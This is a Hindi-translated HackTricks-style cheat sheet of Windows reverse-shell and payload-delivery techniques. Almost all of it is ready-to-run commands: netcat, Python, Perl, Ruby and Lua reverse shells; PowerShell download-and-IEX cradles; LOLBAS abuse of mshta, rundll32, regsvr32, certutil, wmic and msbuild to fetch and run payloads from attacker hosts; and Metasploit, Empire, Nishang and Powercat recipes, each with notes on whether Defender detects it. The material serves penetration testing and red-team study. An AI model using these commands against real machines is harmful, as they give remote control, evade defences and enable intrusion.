Shells - Windows

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Try Hard Security Group


Lolbas

पृष्ठ lolbas-project.github.io विंडोज के लिए है जैसे https://gtfobins.github.io/ लिनक्स के लिए है। स्वाभाविक रूप से, विंडोज में SUID फ़ाइलें या सुडो विशेषाधिकार नहीं हैं, लेकिन यह उपयोगी है जानने के लिए कैसे कुछ बाइनरी (अ)दुरुपयोग किया जा सकता है कुछ अप्रत्याशित क्रियाएँ करने के लिए जैसे कोड का अभिव्यक्ति करें।

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd एक पोर्टेबल और सुरक्षित Netcat विकल्प है। यह Unix जैसे सिस्टम और Win32 पर काम करता है। मजबूत एन्क्रिप्शन, प्रोग्राम निष्पादन, अनुकूलनीय स्रोत पोर्ट, और निरंतर पुनर्संबंधन जैसी विशेषताओं के साथ, sbd TCP/IP संचार के लिए एक बहुमुखी समाधान प्रदान करता है। Windows उपयोगकर्ताओं के लिए, Kali Linux वितरण से sbd.exe संस्करण को Netcat के लिए एक विश्वसनीय प्रतिस्थापन के रूप में उपयोग किया जा सकता है।

# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444


# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)

पायथन

#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

पर्ल

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

रूबी

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

लुआ

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

OpenSSH

हम एक नए विंडोज शेल के लिए एक नए सत्र खोलेंगे। इसके लिए, हम एक नए सत्र खोलने के लिए निम्नलिखित कमांड का उपयोग करेंगे:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Victim

शिकार

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Powershell

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

जाल कॉल करने वाली प्रक्रिया: powershell.exe डिस्क पर लिखी गई पेलोड: नहीं (कम से कम जहां तक मुझे प्रोसेस मॉनिटरिंग करते समय मिला है!)

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

नेटवर्क कॉल करने वाली प्रक्रिया: svchost.exe डिस्क पर लिखा गया पेलोड: WebDAV क्लाइंट स्थानीय कैश

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

इस दस्तावेज़ के अंत में विभिन्न पावरशेल शैलियों के बारे में अधिक जानकारी प्राप्त करें

Mshta

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
mshta \\webdavserver\folder\payload.hta

hta-psh रिवर्स शैल का उदाहरण (hta का उपयोग करके PS बैकडोर डाउनलोड और चलाना)

<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>

आप बहुत आसानी से एक Koadic zombie को stager hta का उपयोग करके डाउनलोड और निष्पादित कर सकते हैं

hta उदाहरण

यहाँ से

<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>

mshta - sct

यहाँ से

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Mshta - Metasploit

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit

डिफेंडर द्वारा पहचाना गया

Rundll32

Dll हैलो वर्ल्ड उदाहरण

rundll32 \\webdavserver\folder\payload.dll,entrypoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

डिफेंडर द्वारा पहचाना गया

Rundll32 - sct

यहाँ से

<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close();  -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

Rundll32 - Metasploit

use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0

Rundll32 - Koadic

use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();

Regsvr32

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

डिफेंडर द्वारा पहचाना गया

Regsvr32 -sct

यहाँ से

<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

Regsvr32 - Metasploit

use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll

आप बहुत आसानी से एक Koadic zombie को डाउनलोड और execute कर सकते हैं stager regsvr का उपयोग करके

Certutil

एक B64dll डाउनलोड करें, इसे डीकोड करें और इसे execute करें।

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

एक B64exe डाउनलोड करें, इसे डीकोड करें और इसे चलाएं।

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

डिफेंडर द्वारा पहचाना गया

Cscript/Wscript

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

Cscript - Metasploit

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs

डिफेंडर द्वारा पहचाना गया

PS-Bat

\\webdavserver\folder\batchfile.bat

जांच करने वाली प्रक्रिया: svchost.exe डिस्क पर लिखी गई पेलोड: WebDAV client local cache

msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat

डिफेंडर द्वारा पहचाना गया

MSIExec

हमलावर

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80

शिकार:

victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi

पहचाना गया

Wmic

wmic os get /format:"https://webserver/payload.xsl"

उदाहरण xsl फ़ाइल यहाँ से:

<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>

नहीं पहचाना गया

आप बहुत आसानी से एक Koadic zombie डाउनलोड और एक्जीक्यूट कर सकते हैं उसिंग स्टेजर wmic

Msbuild

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

आप इस तकनीक का उपयोग ऐप्लिकेशन व्हाइटलिस्टिंग और Powershell.exe प्रतिबंधों को अनदेखा करने के लिए कर सकते हैं। जैसे ही आपको एक PS शैल मिलेगा। बस इसे डाउनलोड करें और इसे निष्पादित करें: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj

नहीं पहचाना

CSC

विक्टिम मशीन में C# कोड कंपाइल करें।

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs

आप यहाँ से एक मौलिक C# रिवर्स शैल डाउनलोड कर सकते हैं: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

नहीं पता चला

Regasm/Regsvc

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

मैंने इसे प्रयास नहीं किया

https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182

Odbcconf

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

मैंने इसे प्रयास नहीं किया

https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2

Powershell शैल्स

PS-Nishang

https://github.com/samratashok/nishang

शैल्स फ़ोल्डर में, कई विभिन्न शैल्स हैं। डाउनलोड और Invoke-PowerShellTcp.ps1 को क्रियान्वित करने के लिए स्क्रिप्ट की एक प्रति बनाएं और फ़ाइल के अंत में जोड़ें:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

एक वेब सर्वर में स्क्रिप्ट सर्व करना शुरू करें और पीड़ित के अंत में इसे निष्पादित करें:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender इसे दुष्ट कोड के रूप में नहीं पहचानता है (अभी तक, 3/04/2019).

TODO: अन्य nishang शैल्स की जाँच करें

PS-Powercat

https://github.com/besimorhino/powercat

डाउनलोड करें, एक वेब सर्वर शुरू करें, सुनने वाला शुरू करें, और पीड़ित के अंत में इसे क्रियान्वित करें:

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

डिफेंडर इसे दुष्ट कोड के रूप में नहीं पहचानता है (अभी तक, 3/04/2019).

पावरकैट द्वारा प्रस्तावित अन्य विकल्प:

बाइंड शैल, रिवर्स शैल (TCP, UDP, DNS), पोर्ट पुनर्निर्देशन, अपलोड/डाउनलोड, पेलोड उत्पन्न करें, फ़ाइल सर्व करें...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

इम्पायर

https://github.com/EmpireProject/Empire

एक पावरशेल लॉन्चर बनाएं, इसे एक फ़ाइल में सहेजें और उसे डाउनलोड और निष्पादित करें।

powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

कोई दुर्भाग्यपूर्ण कोड के रूप में पहचाना गया

MSF-Unicorn

https://github.com/trustedsec/unicorn

यूनिकॉर्न का उपयोग करके मेटास्प्लॉइट बैकडोर का पावरशेल संस्करण बनाएं

python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443

बनाए गए संसाधन के साथ msfconsole शुरू करें:

msfconsole -r unicorn.rc

विक्टिम में निम्नलिखित को निष्पादित करें:

powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"

मालिकाना कोड के रूप में पहचाना गया

अधिक

PS>Attack PS कंसोल जिसमें कुछ आक्रामक PS मॉड्यूल पूर्वालोड हैं (साइफर्ड) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 WinPWN PS कंसोल जिसमें कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी पहचान है (IEX)

संदर्भ

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated